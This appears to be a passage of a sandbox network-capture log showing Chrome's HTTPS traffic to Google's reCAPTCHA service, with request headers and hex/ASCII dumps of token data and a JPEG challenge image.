5fqI1d1X9olMICxnHYPNQipiZ97TOcps7dVb0s9NZuucG2rGvKN4wjaxtIwX1mt3s0J6W6UvOeHS4DZxxIYBPxW7trQQ4LKmAwe9yvoS-mjgDrJyjEunGTpQzvo5zF8TvRvb1zMJg_Mc_05iDBtjpjtYTbep3Qq17BuSqWkf3JM8RHTUU80JrqSXvulxSqk8N4b00o-0nZ4MeP71lqokkxnIXdiC2lIXaf2nfShb1w_goo3NajqN8o0EGH68iJu
2024-10-01 13:37:31 UTC	1390	IN	Data Raw: 4a 2d 54 35 35 33 58 51 43 6d 4e 52 4a 37 66 53 65 6e 30 46 4e 69 6d 36 43 54 34 75 33 49 49 79 4d 6e 77 42 66 79 55 61 6d 49 7a 4d 78 56 79 37 32 57 63 46 5a 59 6f 68 65 62 51 4a 55 76 5a 4b 43 4c 36 52 6e 30 47 41 58 49 65 61 50 77 6e 59 6e 4f 36 62 73 4a 55 39 5f 72 67 59 6a 35 50 46 59 49 34 78 4e 77 48 4d 6e 35 38 30 49 44 53 42 73 6d 5f 31 32 6b 73 4c 66 62 37 7a 6c 4c 31 44 51 6d 5a 64 61 70 6f 65 72 37 6d 36 48 74 76 61 55 70 59 72 6f 44 4a 53 35 6e 6e 4a 36 75 37 6d 72 77 38 4a 77 64 39 34 6f 66 39 64 44 6b 6b 50 53 53 6b 4f 59 31 61 62 6d 67 2d 34 59 39 42 45 41 4f 51 49 58 6f 72 69 62 55 38 50 43 76 69 50 4d 6a 61 30 77 65 4d 7a 4d 4f 47 43 4a 45 7a 45 63 64 74 4b 4a 4a 6a 56 44 31 47 69 66 67 62 42 54 63 6e 66 45 68 55 53 68 79 44 67 5f 35 73 Data Ascii: J-T553XQCmNRJ7fSen0FNim6CT4u3IIyMnwBfyUamIzMxVy72WcFZYohebQJUvZKCL6Rn0GAXIeaPwnYnO6bsJU9_rgYj5PFYI4xNwHMn580IDSBsm_12ksLfb7zlL1DQmZdapoer7m6HtvaUpYroDJS5nnJ6u7mrw8Jwd94of9dDkkPSSkOY1abmg-4Y9BEAOQIXoribU8PCviPMja0weMzMOGCJEzEcdtKJJjVD1GifgbBTcnfEhUShyDg_5s
2024-10-01 13:37:31 UTC	1390	IN	Data Raw: 75 36 74 78 74 63 52 4c 54 7a 43 6b 36 38 4b 34 61 45 67 65 54 32 34 57 4b 2d 38 70 33 74 31 49 56 51 50 78 77 65 79 54 38 74 2d 62 43 6b 50 6a 52 4d 74 69 75 43 44 50 37 78 50 32 2d 64 4e 6d 4f 64 51 68 6e 4a 30 56 41 36 78 4f 32 4b 70 30 49 4b 35 38 45 58 31 30 45 70 75 34 51 47 32 2d 6d 58 4a 6b 4c 53 36 36 7a 49 75 63 70 30 72 34 53 65 46 4c 73 45 32 32 6d 34 6f 54 37 4a 65 6f 77 66 55 4b 6a 79 51 4d 5a 7a 41 6f 74 4a 31 79 78 50 52 6c 4c 5a 58 30 38 36 50 45 77 66 57 46 48 53 7a 71 65 34 53 67 6f 43 53 39 36 39 7a 7a 7a 72 38 42 6f 55 4f 34 38 70 54 37 2d 47 37 71 46 55 31 62 79 39 58 4f 34 39 6b 49 67 57 51 75 76 37 45 6a 72 64 75 75 43 47 75 6b 6d 43 74 70 67 56 52 46 61 4f 30 32 41 6b 6a 6e 34 49 50 4a 39 51 45 6e 71 64 35 49 42 5f 72 64 5a 4b 53 Data Ascii: u6txtcRLTzCk68K4aEgeT24WK-8p3t1IVQPxweyT8t-bCkPjRMtiuCDP7xP2-dNmOdQhnJ0VA6xO2Kp0IK58EX10Epu4QG2-mXJkLS66zIucp0r4SeFLsE22m4oT7JeowfUKjyQMZzAotJ1yxPRlLZX086PEwfWFHSzqe4SgoCS969zzzr8BoUO48pT7-G7qFU1by9XO49kIgWQuv7EjrduuCGukmCtpgVRFaO02Akjn4IPJ9QEnqd5IB_rdZKS
2024-10-01 13:37:31 UTC	1390	IN	Data Raw: 54 52 73 6e 6d 34 6c 73 50 62 67 56 63 4b 49 43 48 6d 2d 41 55 36 7a 4d 65 5a 38 57 54 41 38 74 36 30 5f 57 6a 42 39 4f 37 6d 2d 76 57 4b 6f 45 6e 6a 4a 41 4d 6a 47 55 69 4d 59 4d 6c 38 37 67 49 6e 34 65 47 57 57 51 6f 78 48 4f 6a 65 36 45 6c 77 5f 46 50 30 30 2d 44 36 79 6d 36 51 53 41 75 68 4c 46 57 6f 71 58 75 76 5f 44 6b 7a 44 73 6c 61 53 47 77 6d 6b 48 6d 42 45 41 62 57 72 5f 31 4e 72 36 74 50 34 37 54 41 7a 43 6e 6c 77 4f 4e 5f 46 22 2c 6e 75 6c 6c 2c 31 32 30 2c 5b 22 70 6d 65 74 61 22 2c 5b 22 2f 6d 2f 30 63 64 6c 31 22 2c 6e 75 6c 6c 2c 33 2c 33 2c 33 2c 6e 75 6c 6c 2c 22 50 61 6c 6d 20 74 72 65 65 22 5d 5d 2c 22 69 6d 61 67 65 73 65 6c 65 63 74 22 2c 6e 75 6c 6c 2c 5b 22 62 67 64 61 74 61 22 2c 22 4c 79 39 33 64 33 63 75 5a 32 39 76 5a 32 78 6c Data Ascii: TRsnm4lsPbgVcKICHm-AU6zMeZ8WTA8t60_WjB9O7m-vWKoEnjJAMjGUiMYMl87gIn4eGWWQoxHOje6Elw_FP00-D6ym6QSAuhLFWoqXuv_DkzDslaSGwmkHmBEAbWr_1Nr6tP47TAzCnlwON_F",null,120,["pmeta",["/m/0cdl1",null,3,3,3,null,"Palm tree"]],"imageselect",null,["bgdata","Ly93d3cuZ29vZ2xl
2024-10-01 13:37:31 UTC	1390	IN	Data Raw: 56 4e 6e 52 48 70 56 63 45 67 72 55 6d 49 31 56 46 5a 47 63 56 52 71 4f 45 46 55 62 31 4e 44 51 6e 64 4e 51 55 4e 51 57 45 70 48 63 6a 68 6e 4c 32 64 78 54 54 64 44 62 44 67 77 56 57 4e 57 64 54 64 42 59 7a 6c 36 63 6b 5a 31 53 6a 4a 51 64 6c 68 55 52 46 6c 34 62 33 46 32 5a 6b 74 45 52 7a 6c 4e 5a 47 52 6d 5a 44 56 48 62 6a 42 71 52 47 5a 6b 53 56 4a 68 62 6c 4e 57 52 45 74 4e 64 44 64 58 62 6c 59 76 64 58 4e 32 61 6c 52 59 65 45 4e 4b 51 31 6f 30 51 54 67 7a 4d 6d 6f 79 53 32 70 32 64 30 78 68 53 6d 77 31 51 6d 68 48 63 55 56 5a 61 56 5a 6e 52 7a 46 76 55 31 70 61 55 6b 4a 5a 61 6d 64 4e 56 31 46 47 53 57 5a 68 55 45 46 70 56 57 78 44 55 33 42 6d 64 32 74 6d 59 57 39 50 62 6b 35 77 54 54 4a 76 4d 56 70 61 57 55 31 34 59 6b 31 49 53 31 56 6c 5a 44 67 72 Data Ascii: VNnRHpVcEgrUmI1VFZGcVRqOEFUb1NDQndNQUNQWEpHcjhnL2dxTTdDbDgwVWNWdTdBYzl6ckZ1SjJQdlhURFl4b3F2ZktERzlNZGRmZDVHbjBqRGZkSVJhblNWREtNdDdXblYvdXN2alRYeENKQ1o0QTgzMmoyS2p2d0xhSmw1QmhHcUVZaVZnRzFvU1paUkJZamdNV1FGSWZhUEFpVWxDU3Bmd2tmYW9Pbk5wTTJvMVpaWU14Yk1IS1VlZDgr
2024-10-01 13:37:31 UTC	1390	IN	Data Raw: 33 55 6c 52 44 52 47 63 30 65 44 63 77 52 32 56 46 56 47 4e 35 64 57 68 46 63 47 6c 4a 55 58 64 76 61 47 70 61 56 45 77 32 5a 46 46 52 4c 30 34 76 54 54 56 34 55 6d 35 47 56 47 49 77 62 47 64 34 56 56 56 52 62 31 6c 70 5a 32 55 32 4e 6b 55 72 61 6d 38 32 56 54 52 50 57 6a 6b 76 54 55 4a 42 4e 33 6c 48 64 6a 59 78 56 33 6c 4d 59 31 68 79 56 69 74 48 64 58 52 75 4e 6a 4e 79 4b 30 52 32 51 55 77 77 52 6e 4a 6b 52 54 68 70 4d 56 64 77 64 69 38 34 53 33 46 6b 54 45 59 76 57 48 64 47 57 55 4a 6e 54 6b 31 78 53 44 68 4f 5a 30 5a 5a 62 32 38 30 52 30 46 43 4f 44 64 6c 63 6c 64 74 5a 6c 70 35 4d 33 56 77 62 54 4a 71 4f 56 67 7a 52 55 46 49 5a 46 5a 50 56 44 49 7a 5a 46 6c 51 55 58 42 31 54 6c 68 6c 57 46 56 55 56 48 59 33 5a 79 39 46 64 47 4e 4f 53 32 4e 6f 4d 6e Data Ascii: 3UlRDRGc0eDcwR2VFVGN5dWhFcGlJUXdvaGpaVEw2ZFFRL04vTTV4Um5GVGIwbGd4VVVRb1lpZ2U2NkUram82VTRPWjkvTUJBN3lHdjYxV3lMY1hyVitHdXRuNjNyK0R2QUwwRnJkRThpMVdwdi84S3FkTEYvWHdGWUJnTk1xSDhOZ0ZZb280R0FCODdlcldtZlp5M3VwbTJqOVgzRUFIZFZPVDIzZFlQUXB1TlhlWFVUVHY3Zy9FdGNOS2NoMn
2024-10-01 13:37:31 UTC	1390	IN	Data Raw: 33 64 4c 54 44 41 34 56 6b 67 7a 4d 48 6c 34 62 7a 6c 79 53 58 68 74 4f 44 4e 6e 4d 6a 68 4b 4d 31 4e 79 53 48 70 57 4d 45 6c 55 59 33 4e 53 61 57 74 78 54 31 42 79 4d 30 49 72 62 54 63 34 62 6d 46 4a 5a 32 56 4c 4c 30 63 76 62 54 68 4f 56 30 4e 46 56 56 5a 52 5a 56 4a 34 51 6d 4e 4d 64 46 4e 42 55 46 64 4f 64 6e 52 77 5a 6d 52 77 51 6b 39 6d 62 48 6c 70 63 45 56 72 4d 69 38 78 4d 44 4a 76 54 58 52 75 4b 32 35 4d 55 55 56 70 57 58 5a 6d 62 48 4e 6b 65 46 56 75 65 6c 42 76 5a 47 34 7a 56 30 74 79 55 57 5a 69 5a 33 6c 70 55 33 4d 33 52 6b 4e 6e 64 57 5a 59 55 56 59 76 64 6e 6f 31 4d 6d 56 4a 62 46 56 4c 52 7a 4e 53 4d 48 64 78 61 30 56 53 5a 44 68 6c 52 6d 39 43 54 30 67 77 62 32 64 4e 55 31 64 78 54 6e 56 4e 62 6d 64 32 64 6e 67 30 63 54 4e 44 52 57 35 48 Data Ascii: 3dLTDA4VkgzMHl4bzlySXhtODNnMjhKM1NySHpWMElUY3NSaWtxT1ByM0IrbTc4bmFJZ2VLL0cvbThOV0NFVVZRZVJ4QmNMdFNBUFdOdnRwZmRwQk9mbHlpcEVrMi8xMDJvTXRuK25MUUVpWXZmbHNkeFVuelBvZG4zV0tyUWZiZ3lpU3M3RkNndWZYUVYvdno1MmVJbFVLRzNSMHdxa0VSZDhlRm9CT0gwb2dNU1dxTnVNbmd2dng0cTNDRW5H
2024-10-01 13:37:31 UTC	1390	IN	Data Raw: 48 56 6b 78 33 55 55 64 52 65 57 4a 7a 53 31 64 52 4b 30 52 31 52 46 59 34 63 47 74 72 63 31 4e 4d 53 6b 4a 6c 51 30 5a 6c 52 54 4a 55 56 32 6c 32 56 47 70 7a 4d 6a 42 71 64 6c 42 55 5a 31 42 6a 65 6d 64 76 5a 43 39 4c 62 6a 5a 4a 61 47 77 32 64 32 46 78 4e 6d 46 74 56 45 77 30 52 6d 55 33 61 6d 67 77 55 6c 52 68 62 55 6c 4d 54 6e 5a 46 62 6d 4d 34 59 57 4a 6e 4c 33 4d 79 52 30 68 32 56 6d 52 69 5a 45 68 75 62 47 70 45 56 6d 5a 56 62 33 52 61 57 6d 35 45 63 44 4d 77 52 6c 42 57 55 43 39 58 61 6e 56 6c 65 58 4e 52 4b 31 42 79 55 31 5a 52 4e 44 63 78 61 30 6c 47 54 46 64 57 54 30 56 79 62 6a 41 33 52 55 34 77 5a 44 4e 75 59 6d 35 58 62 58 64 78 4d 55 70 70 64 58 45 76 65 54 46 59 53 45 78 6c 4f 44 4e 30 4e 7a 5a 52 4c 32 64 58 5a 33 42 57 55 6b 55 72 61 6b Data Ascii: HVkx3UUdReWJzS1dRK0R1RFY4cGtrc1NMSkJlQ0ZlRTJUV2l2VGpzMjBqdlBUZ1BjemdvZC9LbjZJaGw2d2FxNmFtVEw0RmU3amgwUlRhbUlMTnZFbmM4YWJnL3MyR0h2VmRiZEhubGpEVmZVb3RaWm5EcDMwRlBWUC9XanVleXNRK1ByU1ZRNDcxa0lGTFdWT0VybjA3RU4wZDNuYm5XbXdxMUppdXEveTFYSExlODN0NzZRL2dXZ3BWUkUrak

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49770	142.250.185.132	443	5776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:37:32 UTC	1152	OUT	GET /recaptcha/api2/payload?p=06AFcWeA5Xy4plWRp0xGOrKbTgf7USn7JzUl46qbrgNrLdXSpRUTGozCymoUkraLWUEcC_HwIbZz3SzrfQyrbWhsSAywus1mPldNOolr9VyHMbseVYi6tPAfOR_4e4mw8cd4xRqr8ScV4FHtZ6RTIRyzZQtR94s2vpEIBHezzL67jrQALXTQb6DbBvxHxi-6S9LK73hT22c-yC&k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AGteOyp93zRCaP7cAsCcZzF4zhZ-ILzArgZKOif4TQyq_QtDyZllpgk7xRFpO7fTV89raEeSx57z7935ZzWbXQw
2024-10-01 13:37:32 UTC	681	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Tue, 01 Oct 2024 13:37:32 GMT Date: Tue, 01 Oct 2024 13:37:32 GMT Cache-Control: private, max-age=30 Cross-Origin-Resource-Policy: same-site Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Transfer-Encoding: chunked Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-01 13:37:32 UTC	709	IN	Data Raw: 36 64 35 62 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 2c 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 6d5bJFIFC!"$"$C,,"}!1AQa"q
2024-10-01 13:37:32 UTC	1390	IN	Data Raw: d1 b5 bb 0b 9d 4a 3b 04 94 44 cc 8e 56 e2 45 68 d7 92 06 cc 01 b7 e7 3f 95 72 d1 a5 51 d4 f6 92 7a fd c7 45 4a b1 f6 6e 09 68 6c e8 fe 2e f1 8c f2 41 67 69 04 17 d3 4d 1b c8 a8 a1 43 83 92 70 46 00 1d 3f 5a d3 d5 7c 4d f1 0f 4d d2 cd e5 d7 86 ed 22 84 42 bb e5 de a4 a4 8c fb 40 0a 24 39 c9 2b f9 d6 25 cf 88 b4 7f 09 dd 47 7f 61 04 f7 29 3d af 98 e9 f6 95 dc 81 59 77 2a 96 04 6c 3b 0e 70 37 64 9c 75 ac a8 fe 30 5a 78 ee d2 f7 4e d2 f4 a7 d3 d9 51 47 9c 6e d1 d4 16 61 8c a1 0a cc 46 c3 f7 49 eb cd 76 5e a5 9a 6d df fa d4 e6 e4 8b b5 8a f6 1e 2f f8 85 1e ac da 9a ad e4 f1 bc c0 ed 92 32 b6 ec 02 80 40 53 8e 06 ee 76 f7 19 ea 2a cd ff 00 8e fc 77 fd 9f 27 f6 8d ca 43 fb c2 43 41 1a ae dc 8c 84 04 73 fd 6b 62 4b a1 24 85 d5 23 47 3d 76 a8 1c 76 04 8e b5 9b e2 Data Ascii: J;DVEh?rQzEJnhl.AgiMCpF?Z\|MM"B@$9+%Ga)=Ywl;p7du0ZxNQGnaFIv^m/2@Svw'CCAskbK$#G=vv
2024-10-01 13:37:32 UTC	1390	IN	Data Raw: f0 f4 10 37 8b ed e2 b0 b1 bd d5 ad 1e 0b 9b 85 d8 8f 1c ea 0f 21 5c 8e 32 0e 79 e7 83 f5 e0 ee 7c 5b 78 de 5b cb 69 0b b4 73 06 40 10 a8 1f 2e 08 23 3f 4a f4 69 62 a3 35 75 b6 81 ca ba 1b 9e 35 f1 0a e9 d6 b3 43 13 ba ce 84 04 74 97 69 0d c1 ce d1 c9 00 1a c0 f0 2f 8a b5 59 2f e1 12 de 49 34 80 10 10 a3 ca d7 1d 4e c1 80 71 f5 fe 75 07 89 b5 9b 9d 43 49 86 0b 8d 37 ec 84 b1 91 9f 04 79 84 fa 64 74 f5 fc 2b 91 b5 b9 b9 d2 f5 41 34 05 a2 78 dc 49 1f cd d0 83 c7 22 9f b6 bc ac 83 95 a3 e9 2d 4b 5c b1 d2 f4 36 d6 66 32 c9 68 02 91 b1 3e 63 93 81 c1 c5 71 d2 fc 5f d0 a7 5f 25 b4 dd 45 40 61 b9 92 50 a4 73 d7 20 fe 95 c9 f8 93 c5 77 1e 21 d0 1a c2 e4 2c 10 e5 25 c4 43 00 95 ed 8f 7c fe 95 e7 b7 ea d6 44 ad bf ef 21 90 1f 9d 90 12 30 7b 1f ca b4 6f 51 eb b9 eb Data Ascii: 7!\2y\|[x[is@.#?Jib5u5Cti/Y/I4NquCI7ydt+A4xI"-K\6f2h>cq__%E@aPs w!,%C\|D!0{oQ
2024-10-01 13:37:32 UTC	1390	IN	Data Raw: 4e f8 e6 b9 09 ae a4 9e 39 19 89 62 ee 1b 71 e4 f1 e9 5c f4 e9 2a 89 c5 ad 0c f5 48 e8 21 d5 a7 9e e2 de 2b af 32 52 64 31 b2 93 c1 05 b1 db fc 9f 7a 9b c4 78 b0 b0 92 28 8c be 59 6c e1 d3 69 01 87 03 1e bc 63 3e d5 06 c8 af a2 b2 9a de 0f 36 f2 34 69 2e da 66 f9 08 5c 6d f9 46 3f fa f5 62 de ef 49 b8 82 6b 6b d5 69 52 78 e4 3e 66 58 88 dc 0c ae d0 3a 0c e3 af 4c d0 a3 cc d3 5a 2e c4 d9 a4 67 f8 72 f6 3b 7b 89 65 95 d9 14 44 76 31 5c 91 8e 7f 3e 2a f5 d6 a5 67 af fd 95 6f 6d 92 de e8 46 aa 97 0b c7 9a 55 88 19 03 00 70 7f 31 ef 8a c0 ba 84 bd 91 96 d2 26 da ad b5 f0 73 8c f6 fd 2a 3b 67 58 94 32 c9 20 70 fc c7 d9 39 3d 7f 3a d7 91 45 b9 75 29 3b 6c 3e f6 fa 69 67 64 69 49 58 ce c8 c3 37 0a a0 f4 03 d2 ba 4f 05 5e e9 c6 d2 e2 db 50 8d fc d0 ac d6 87 82 aa Data Ascii: N9bq\H!+2Rd1zx(Ylic>64i.f\mF?bIkkiRx>fX:LZ.gr;{eDv1\>gomFUp1&s*;gX2 p9=:Eu);l>igdiIX7O^P
2024-10-01 13:37:32 UTC	1390	IN	Data Raw: 4f 76 7b 3f 89 fc 6b a1 26 bb 1a 69 7a 5e 95 35 b6 dc b4 92 5a a8 2c 73 db 23 3f fe ba c6 be f1 5e 92 62 bb 9a 3f 0f 69 c6 66 53 e4 ef b5 8d b6 b7 40 41 c7 1c 66 bc 22 4d 56 68 9b cc 59 1c a1 cf ca 5b 38 fa 67 fc f5 ad 5b 0d 7d d2 15 99 5d b0 07 3c fb f5 fc ab 49 2a 89 dc 15 64 74 3e 35 9e e7 c4 bf 62 4d 57 4e 10 25 97 9b 2c 02 d8 05 0e ad b7 2a 46 47 70 bd 01 c5 79 94 f3 c9 76 d7 20 a3 33 05 da 83 71 3b 42 f5 fc 00 15 ea 3e 1f d4 2d e7 d1 75 eb b9 60 5b b9 92 24 48 3d 49 93 72 8c 7a 73 8a e6 3c 23 e1 0d 43 5d d0 24 b9 b6 8e d4 ac 4a d1 08 f3 b1 dd ba 82 49 1c 9c e0 93 9e 98 15 30 c4 fb 37 2f 69 a5 ac 72 57 8f 34 ef 63 9c d3 74 4d 56 fe ed a1 82 ca 5d e1 72 c3 69 da 70 33 d4 f1 9c 74 15 71 bc 37 7f 67 a7 5e 4f a9 ac 56 be 5b 6c 55 76 c1 2f 80 76 af e1 f8 Data Ascii: Ov{?k&iz^5Z,s#?^b?ifS@Af"MVhY[8g[}]<Idt>5bMWN%,FGpyv 3q;B>-u`[$H=Irzs<#C]$JI07/irW4ctMV]rip3tq7g^OV[lUv/v
2024-10-01 13:37:32 UTC	1390	IN	Data Raw: a0 48 9b 56 d4 13 36 b0 9c 47 1f 43 71 27 65 1e c3 b9 ff 00 1a 7e 91 a7 a4 eb 2d f5 ec 86 0b 08 7f d6 c9 8e 58 f6 44 1d d8 fe 9d 6a 1d 4e ea e7 53 9d 24 82 12 90 c4 bb 20 82 35 24 46 9e 9e e7 d4 f7 35 2d f4 19 0d cd c5 c5 ed e4 97 93 be 5e 43 93 db 1e c3 d8 54 17 91 66 26 27 38 f5 06 ac c7 a6 6a 84 f9 89 a7 dc 85 ee 0c 4c 07 e7 8a 2e 34 fb e2 b8 29 14 5e a1 e7 44 3f ab 0a 34 15 d2 dc db f0 2f 88 6d 06 93 26 87 a9 5c 47 8c 32 20 9b ee 49 1b 75 42 7b 75 3f 9d 72 7e 20 f8 57 34 b7 0f fd 81 a8 aa 83 96 8e 0b 92 43 00 7b 2b 80 41 fd 29 65 d1 a5 72 77 3d 9c 7e e6 ed 1b ff 00 41 26 ac 69 b6 f7 76 07 f7 5a f8 81 47 44 49 e5 2b f9 01 8a 96 90 bd ac 17 54 79 df 88 be 12 fc 47 94 7e e7 46 8a e0 29 fb e9 75 1b 16 c7 3d 09 cd 52 d3 7e 1c 78 e2 18 77 6a 9e 1f 9a 79 47 Data Ascii: HV6GCq'e~-XDjNS$ 5$F5-^CTf&'8jL.4)^D?4/m&\G2 IuB{u?r~ W4C{+A)erw=~A&ivZGDI+TyG~F)u=R~xwjyG
2024-10-01 13:37:32 UTC	1390	IN	Data Raw: db c6 b7 0d ad 35 e4 32 c5 3a cc 78 8d b7 2b 21 5e 57 d3 a7 23 07 3e 83 9e f8 c9 76 b3 78 96 dc dc 41 e6 22 5a a2 94 dd 8d d9 63 dc 7d 2b 68 e1 68 d1 c4 a7 1d 1b 5b 7d e8 c2 55 6a 4e 8b 52 d5 1c b5 ac f2 47 3c 0a e5 a4 d9 10 55 e8 3a 91 56 ad 6d af 95 0c 8b 69 2b ac ac 5d 59 53 70 23 a7 a7 b1 a4 d0 e0 17 3e 23 b3 b7 03 3e 64 d1 46 07 d5 85 7d 21 ad f8 57 c3 9a 86 a0 f7 57 5a 4d bb 4c e3 e7 61 95 dc 7d 4e 31 93 ef 5e 84 55 d1 c8 9f 47 a9 0e 70 bd 81 fa e2 9b bc 1c e1 87 e1 50 c6 46 70 46 7d 29 65 20 1d a0 fd 4d 36 ec 6d 52 7c 91 6c ba ba b6 a3 1d b2 5b 25 d3 24 31 e4 a2 a8 03 07 eb eb 5a b3 5c e9 ed 68 8d fd bf 75 79 3f f1 25 c4 b2 c4 8b f8 05 6c ff 00 df 42 b9 b3 b7 18 c8 cd 68 e8 3f d8 25 9c eb 17 17 28 47 dc 11 ae 54 fd 48 e7 f2 15 9d cf 2e 33 94 9e af Data Ascii: 52:x+!^W#>vxA"Zc}+hh[}UjNRG<U:Vmi+]YSp#>#>dF}!WWZMLa}N1^UGpPFpF})e M6mR\|l[%$1Z\huy?%lBh?%(GTH.3
2024-10-01 13:37:32 UTC	1390	IN	Data Raw: 64 b1 18 eb 8d a7 a5 7b e5 b5 fc 8b 6b 11 9a 47 bc 2c bb 92 78 d0 6d 74 27 2a 78 e3 a6 2b cf fc 05 7d 65 e2 08 22 8f 4f 45 8a dd 26 76 78 a4 5d d2 da 4a e8 e4 ec 93 ab 23 1c f0 79 18 eb d2 bb b6 78 ec e2 82 d1 3e ec 10 a4 63 03 8f 94 63 fa 57 47 2b 92 ba 76 66 2a 4a 37 4d 5d 14 3e f4 80 79 8a a0 9c 12 47 41 5a e7 4a d1 60 27 ed 3e 25 85 9b 3f 76 de d9 e4 fd 4e 05 61 31 5e e4 d3 01 1d 31 f9 d3 6a e6 b3 82 9e e6 eb 1f 0a c5 c1 7d 5a ed 87 a6 c8 94 ff 00 33 4c 6d 57 42 8b fd 4f 87 83 91 d0 dc 5d 3b 7e 83 02 b1 97 38 ce 38 ee 71 48 c9 80 5b ad 1c a8 4a 94 17 43 60 f8 92 48 f9 b4 d3 34 9b 53 d8 a5 aa b3 0f c5 b2 69 92 f8 9b 5c 95 76 9d 52 e1 17 d2 33 e5 8f fc 77 15 91 b5 7f 5a 76 14 9c 77 f6 a7 64 5a 49 16 65 bb 9e 76 dd 34 d2 4a 47 77 62 df ce a2 24 f5 0d c6 Data Ascii: d{kG,xmt'x+}e"OE&vx]J#yx>ccWG+vfJ7M]>yGAZJ`'>%?vNa1^1j}Z3LmWBO];~88qH[JC`H4Si\vR3wZvwdZIev4JGwb$
2024-10-01 13:37:32 UTC	1390	IN	Data Raw: e7 0a 9f 0d 23 cf cd ae b0 1e a2 cf 3f fb 3d 23 fc 31 8b 82 9a f9 63 ef 65 ff 00 db 2b bb f3 07 5c d2 ac a9 9e b4 3a 49 07 b5 97 73 c5 bc 6f f0 0e 6f 16 5c 58 a1 f1 44 56 d1 5b 2c bb c9 b2 2e c7 70 5c 60 6f 1d d7 9e 7b d4 16 3f b3 74 36 50 5b c6 9e 2e 66 68 9c 3b 31 d3 be fe 0e 47 1e 6f 1d ff 00 3a f7 ab 36 0d bf 07 d3 fa d4 a4 57 2d 6a 30 9b b3 45 28 a9 ab b3 e7 74 fd 99 2c 57 78 6f 16 48 c2 46 06 4c e9 e3 2c 33 93 cf 99 c1 f7 e9 ec 6a 7d 4f f6 6e b2 ba 81 2d 93 c5 32 43 6b 14 85 e2 88 58 e7 6e 7b 67 cc e7 9f 51 eb 5e fc 7a d3 48 ac be ad 4e e9 db f1 65 f2 44 f9 f6 0f d9 aa c2 1b 97 9d 3c 4c 03 12 4a 8f ec ee 13 2a c3 8f de ff 00 b5 fa 0a 92 eb f6 72 13 69 b2 5a 2f 8b b6 16 6c a3 0d 38 90 83 9e 30 65 fa 7e 5e f5 ef c0 28 a7 a8 15 2f 0d 4d bb b5 f8 b0 f6 Data Ascii: #?=#1ce+\:Isoo\XDV[,.p\`o{?t6P[.fh;1Go:6W-j0E(t,WxoHFL,3j}On-2CkXn{gQ^zHNeD<LJ*riZ/l80e~^(/M
2024-10-01 13:37:32 UTC	1390	IN	Data Raw: 59 1a 89 8a 86 f2 19 26 b7 78 d5 82 ee 18 e7 a6 3f ad 73 de 32 f1 54 1a 2c 52 db c5 76 a6 e9 22 2f 21 58 0c 86 21 83 8c 0c 80 58 ed 38 5f 40 49 e0 73 e7 ff 00 f0 b9 35 bd 2e f6 28 75 4d 1e c2 fa 19 09 0a b0 3b c3 70 40 3b 73 8f 99 49 27 8c 71 ce 41 c6 0e 06 9a d4 2e 75 7e 21 f0 de 9e fb 56 ea 25 98 44 e1 e4 25 47 94 a3 af 2a 00 18 03 24 20 e4 f5 66 f9 b9 e1 3c 51 a6 69 fa 6c 2b 79 6d 6a 34 99 a7 1e 5d bc c9 76 e2 69 c7 43 ba 24 c0 f2 f1 c1 1f 36 4f 07 f8 8a f5 57 5f 10 fc 29 e2 69 05 8d bd fc 9a 55 d2 30 58 ed b5 3d b6 d1 c9 21 23 25 9f 25 58 af f7 33 cb 10 48 20 71 53 c4 3a 4a 47 71 75 71 77 94 b7 40 ab 35 c3 db f9 b2 9f bb 88 e3 56 e4 1f 95 42 a8 e4 16 04 90 c3 79 de 32 be e4 b4 99 c6 e9 de 2c d4 b4 81 6e 7c 46 97 17 82 52 20 b7 d4 dd 0b c9 6b 10 1c 98 Data Ascii: 